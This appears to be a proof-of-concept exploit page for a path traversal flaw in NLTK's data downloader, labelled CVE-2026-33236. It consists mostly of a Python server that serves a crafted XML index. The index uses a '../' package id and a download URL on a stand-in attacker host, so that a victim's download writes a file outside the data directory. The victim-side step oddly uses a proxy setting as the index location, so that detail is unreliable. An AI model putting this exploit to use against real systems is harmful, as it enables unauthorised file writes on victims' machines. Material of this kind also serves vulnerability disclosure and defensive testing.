NLTK路径遍历漏洞CVE-2026-33236

# Malicious XML Index Server Example (PoC Concept) # This XML structure demonstrates how to inject path traversal. import http.server import socketserver import xml.etree.ElementTree as ET PORT = 8000 # Malicious XML payload containing path traversal MALICIOUS_XML = """<?xml version="1.0" encoding="UTF-8"?> <nltk_data> <packages> <package id="../../../../tmp/malicious_payload.txt" subdir="corpora"> <url>http://attacker-server.com/payload.txt</url> <checksum type="sha256">dummy_checksum</checksum> </package> </packages> </nltk_data> """ class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'text/xml') self.end_headers() self.wfile.write(MALICIOUS_XML.encode('utf-8')) print("[+] Sent malicious XML index to victim.") with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd: print(f"[+] Malicious server running at port {PORT}") print("[+] Configure NLTK to use this server as an index and trigger download.") httpd.serve_forever() # Victim Side (Conceptual) # import nltk # nltk.set_proxy('http://127.0.0.1:8000/index.xml') # nltk.download('malicious_payload') # Triggers the traversal